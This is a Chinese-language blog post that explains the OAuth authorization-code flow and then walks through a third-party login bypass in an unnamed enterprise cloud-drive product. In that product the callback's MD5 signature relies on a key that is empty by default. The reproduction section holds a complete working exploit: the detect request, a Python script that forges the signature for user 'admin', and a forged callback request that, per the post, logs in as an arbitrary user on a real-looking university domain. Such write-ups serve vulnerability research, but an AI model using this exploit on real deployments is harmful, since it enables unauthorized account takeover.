Info

OAuth的简单理解

由此可见,实际上OAuth是一个从Clientcode,用codeThird-Partyaccesstoken,最后在Clien获取用户权限的过程。这种思想实际上和kerberos的认证很相似。 授权码模式的认证流程如下 (A)用户访问客户端,后者将前者导向认证服务器。

(B)用户选择是否给予客户端授权。

(C)假设用户给予授权,认证服务器将用户导向客户端事先指定的”重定向URI”(redirection URI),同时附上一个授权码。

(D)客户端收到授权码,附上早先的”重定向URI”,向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的,对用户不可见。

(E)认证服务器核对了授权码和重定向URI,确认无误后,向客户端发送访问令牌(access token)和更新令牌(refresh token)。 实际上,在一些不规范的场景中,会存在一些登陆绕过等问题。

OAuth的攻击面

抛开传统的Web漏洞,像url重定向、CSRF等漏洞,主要关注OAuth本身是否会存在一些问题。在OAuth的认证过程中,ClientThird-Party是不必须进行通信的,对于这种情况,一般会使用一些加密算法和secret来提供校验,对于这种情况,如果secret泄漏,就会存在一些安全风险。具体的攻击流程如下:

  • 从客户端获取state等数据,由于这里的请求都可控,所以可以实现对state对应用户身份的控制。
  • 根据加密算法,用所持有的secret签发签名,回到客户端的回调接口进行登录操作。实际上是替代了原本的Third-Party来实现一次恶意的用户认证,后文中提到的“某企业云盘的第三方登录绕过漏洞”就是利用这个机制

某企业云盘的第三方登录绕过漏洞

漏洞分析

对于Oauth的实现由两个接口组成

  • detect
  • callback 来看一下具体的实现
@GetMapping({"/detect"})
public String detect(@RequestParam(name = "clientType", defaultValue = "0") int clientType, @RequestParam(name = "deviceName", defaultValue = "") String deviceName, @RequestParam(name = "deviceSerialNumber", defaultValue = "") String deviceSerialNumber, @RequestParam(name = "deviceToken", defaultValue = "") String deviceToken, @RequestParam(name = "redirect", defaultValue = "") String redirect, @RequestParam(defaultValue = "") String hostname) {
    try {
        String siteId = NchkdxVar.SITE_ID;
        SimpleDateFormat spf = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
        String dateString = spf.format(new Date());
        String state = UUID.randomUUID().toString();
        MiofficeWebServiceImpl.Utils.set(clientType, state, deviceName, deviceSerialNumber, deviceToken, redirect, hostname);
        String callBackUrl = Utils.formatCallBackUrlForDetect() + "?state=" + state;
        String sign = DigestUtils.md5Hex(siteId + dateString + callBackUrl + NchkdxVar.KEY).toUpperCase();
        String url = NchkdxVar.BASE_URL + "/loging.aspx?SiteID=" + siteId + "&Timespan=" + URLEncoder.encode(dateString, "utf-8") + "&ReturnURL=" + URLEncoder.encode(callBackUrl, "utf-8") + "&SignText=" + sign;
            return "redirect:" + url;
        }
        catch (Exception e) {
            e.printStackTrace();
            return "redirect:/error/500.jsp";
        } 
}
@GetMapping({"/callback"})
public Object callback(@RequestParam String state, @RequestParam String SiteID, @RequestParam String Timespan, @RequestParam String EndTime, @RequestParam String UID, @RequestParam String Sname, @RequestParam String SignText) {
    try {
        SimpleDateFormat spf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        long entTime = spf.parse(EndTime).getTime();
        if (!NchkdxVar.SITE_ID.equals(SiteID) || System.currentTimeMillis() > entTime) {
            return new ResponseEntity(HttpStatus.INTERNAL_SERVER_ERROR);
        }
        String verifySign = DigestUtils.md5Hex(SiteID + UID + Sname + Timespan + EndTime + NchkdxVar.KEY).toUpperCase();
        if (!verifySign.equals(SignText.toUpperCase())) {
            return new ResponseEntity(HttpStatus.INTERNAL_SERVER_ERROR);
        }
        LoginExtInfo extInfo = MiofficeWebServiceImpl.Utils.get(state);
        String account = UID.toLowerCase().replace("xxxxx", "");
        if (extInfo != null) {
            return AuthUtils.loginResponse(account, extInfo.getClientType(), extInfo.getDeviceName(), extInfo.getDeviceSerialNumber(), extInfo.getDeviceToken(), extInfo.getRedirect(), extInfo.getHostname());
        }
        return AuthUtils.loginResponse(account, 6, "", "", "", "", null);
    }catch (Exception e) {
        e.printStackTrace();
        return new ResponseEntity(HttpStatus.INTERNAL_SERVER_ERROR);
    } 
}

因为在之前的漏洞中分析过,当调用AuthUtils#loginResponse并且account可控时就可以实现任意用户登录,所以只需要关注如何构造可控的用户名。 首先,这个功能的安全性都由NchkdxVar.KEY 来保证就可以构造任意用户登陆。可以在配置文件中关注到,这个第三方登录接口的NchkdxVar.KEY默认值为空,所以对于没有配置此功能的目标,就可以实现绕过。

复现过程

只需要重走一遍OAuth协议的认证流程即可,但需要生成签名。

GET /server/services2/nchkdx/detect?clientType=20&deviceName=1&deviceSerialNumber=X&deviceToken=X&redirect=X HTTP/1.1
Host: cloudoc-server
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
 
 

从返回的Url中获取对应的信息

SiteID=
Timespan=2025%2F07%2F21+20%3A14%3A48
state=eb29c06f-664a-41f7-a07d-2379725d173c
from hashlib import md5
from datetime import datetime,timedelta
 
 
 
site_id=""
s_name=""
key=""
state="eb29c06f-664a-41f7-a07d-2379725d173c"
timespan="2025-07-21 21:10:38"
uid="admin"
endtime=(datetime.now()+timedelta(hours=1)).strftime("%Y-%m-%d %H:%M:%S")
signature = md5((site_id + uid + s_name + timespan + endtime + key).encode("utf-8")).hexdigest().upper()
 
print(state,uid,endtime,signature)
 

填入对应的值

GET /server/services2/nchkdx/callback?state=24404a80-548c-4b47-b773-981f999acd14&UID=admin@nchu.edu.cn&SiteID=&SignText=E08B03F6D6004398759124A4C81DDB44&EndTime=2025-07-21+21%3a20%3a43&Timespan=2025-07-21+21%3a10%3a38&Sname= HTTP/1.1
Host: cloudoc-server
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
 
 
 

就可以成功登陆了

总结

在这个漏洞中,因为已知了用于生成签名的key,所以实际上攻击者是作为Third-Party来实现对客户端的授权伪造。